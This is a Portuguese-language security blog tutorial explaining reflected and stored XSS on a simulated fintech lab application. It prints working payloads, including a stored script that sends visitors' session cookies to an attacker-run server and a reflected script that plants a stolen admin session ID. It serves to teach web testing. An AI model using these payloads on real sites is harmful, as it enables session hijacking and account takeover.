Selecione um idioma:       
Home > blog > XSS - Sequestro de Sessão

XSS - Sequestro de Sessão

  Artigos     sequestro de sessão, xss, cross-site-script
Entenda de uma vez por todas como funciona a falha de XSS e o impacto do sequestro de sessão.

Hoje vamos falar sobre uma vulnerabilidade bastante conhecida e encontrada na maioria dos testes de segurança em aplicações web.

XSS ou Cross Site Scripting está no TOP10 da OWASP a muitos anos.

Atualmente o XSS vem sendo uma das principais vulnerabilidades encontradas em Pentest, sendo muito procurado e bem pago nos programas de Bug Bounties.

O grande problema é que muita gente não enxerga o impacto que um XSS pode ter, e os riscos que uma simples janela de alerta pode trazer ao ambiente.

Existem vários tipos de XSS, veremos a seguir de forma prática um exemplo do XSS refletido, XSS armazenado, e também o impacto que pode ter na aplicação podendo como exemplo roubar a sessão do administrador mesmo sem possuír usuário e senha.

Nosso objetivo neste post é demonstrar como acessar a área administrativa da aplicação sem possuir credenciais válidas usando um ataque de XSS para sequestro de sessão.

A aplicação abaixo simula uma aplicação de uma fintech.

A primeira coisa que vamos fazer é analisar os entrypoints (pontos de entrada de dados) que a aplicação possúi. Em uma varredura na aplicação encontramos uma pagina de login:

Como podemos ver existe também um campo de busca:

Ao efetuar uma busca o resultado é refletido na página.

Sabendo disso podemos tentar um ataque de XSS Refletido, no qual vamos inserir um payload básico afim de identificar o comportamento da aplicação.

O teste mais comum a se fazer é enviar um alerta em javascript, se a página estiver vulnerável será criar uma caixa de alerta na página testada.

Porém é necessário entender ao certo como a aplicação está se comportando, visto que pode ser necessário fechar as tags de forma diferente do exemplo abaixo (como por exemplo: “><script>alert(“XSS”)...”).

A aplicação não trata devidamente os dados inseridos e executa o nosso alerta. Traduzindo, temos uma falha de XSS Refletido confirmada!

Podemos efetuar diversos tipos de ataques como redirecionar usuário, adicionar página falsa, colocar links maliciosos, etc... dependendo do seu nível de conhecimento, objetivo final e criatividade.

Para validar, vamos utilizar como exemplo a verificação dos cookies da sessão atual:

<script>alert(document.cookie)</script>

Além de cookies podemos utilizar diversos recursos para capturar informações do alvo ou mudar o comportamento da aplicação através do script, como por exemplo realizar o direcionamento de usuários para outra página para forçar o download de conteúdo, etc...

Agora que já entendemos o XSS Refletido vamos conhecer o XSS Persistente que tem mais impacto pois o payload inserido é armazenado no banco de dados e exibido a todos que acessam a página vulnerável.

O grande impacto nele é que através de um fórum por exemplo, usuários podem cliar em um link do qual aparentemente é seguro por estar diretamente na aplicação utilizada, porém é direcionado à algo malicioso.

Seguimos com o exemplo na aplicação, agora no campo de submeter feedback:

Vamos inserir o payload básico de alerta para teste e submeter o cometário:

<script>alert("DESEC XSS")</script>

Conforme vimos, a página é vulnerável e sempre que acessamos a página de feedback o alert é executado.

Isso significa que qualquer pessoa que acesse essa página vai receber esse alert agora.

Isso poderia ser diferente e mais impactante. O usuário poderia ser aconselhado (através do payload malicioso) a realizar a instalação de algum plugin (sendo este um arquivo malicioso)...

Como podemos verificar na prática como funciona?

Para realizarmos um sequestro de sessão utilizando o XSS armazenado, vamos primeiramente subir um webserver para receber os dados do payload que será utilizado para verificar as sessões ativas. Utilizaremos o webserver interativo do Python:

python -m SimpleHTTPServer 80

Em seguida geramos um payload que irá nos encaminhará as informações das sessões quando alguem acessar a página:

<script>new Image().src="http://172.16.42.15/?="+document.cookie;</script>

O funcionamento do nosso payload é bem simples, primeiramente ele irá acessar o webserver (IP: 172.16.42.15) e em seguida enviará o cookie da sessão ativa.

Na imagem abaixo vemos que hove 2 comentários na aplicação (sendo o primeiro teste de alert, e o segundo o payload para o direcionamento dos cookies):

Voltando ao webserver vemos que houve dois acessos sendo o primeiro o IP de nosso servidor de teste (172.16.42.15), e um segundo que no caso é um exemplo de acesso do Administrador.

Obtendo o cookie do administrador, podemos alterar nossa sessão utilizando o cookie coletado. Podemos utilizar o cookie manager para tal, proxy, burp… porém verems outra técnica que também pode ser interessante.

Lembrando que a aplicação também conta com um XSS refletido no campo de busca, podemos utilizar um script para realizar a alteração da sessão da seguinte forma:

<script>alert(document.cookie="PHPSESSID=bj6kf8b8j125e1qu3a3ql9a6c0")</script>

Fazendo isso, a pessoa que acessar este link obterá a sessão com permissão administrativa. No exemplo, estamos alterando a sessão e fixando o cookie do administrador como nosso.

Com o cookie do administrador fixado em nossa sessão vemos que podemos acessar uma página antes restrita ao usuário, a “admin” mesmo não possuíndo usuário e senha!

Uma vez dentro da aplicação com permissão administrativa, podemos tanto administrar o ambiente como também realizar uma exploração em busca de outras vulnerabilidades como file uploads (para ganhar acesso ao servidor por exemplo), escalar privilégios, entender melhor o comportamento da aplicação para  gerar novos ataques!

Como visto, uma simples caixa de alerta pode causar sérias dores de cabeça se não for levada a sério.

Espero que tenham gostado!
Desec Security

CEH, OSCP, DCPT
Nossos Canais de Comunicação
 
 
+55 11 3075 2780   |    contato@desecsecurity.com
Horário de Atendimento: 09:00 às 18:00 hrs
Estamos Localizados
Av. Paulista, 1765 - 7º Andar - Bela Vista - São Paulo
Bug Report
Se você encontrou alguma falha de segurança em nossos sistemas, acesse o Bug Report e envie uma mensagem.
Bug Report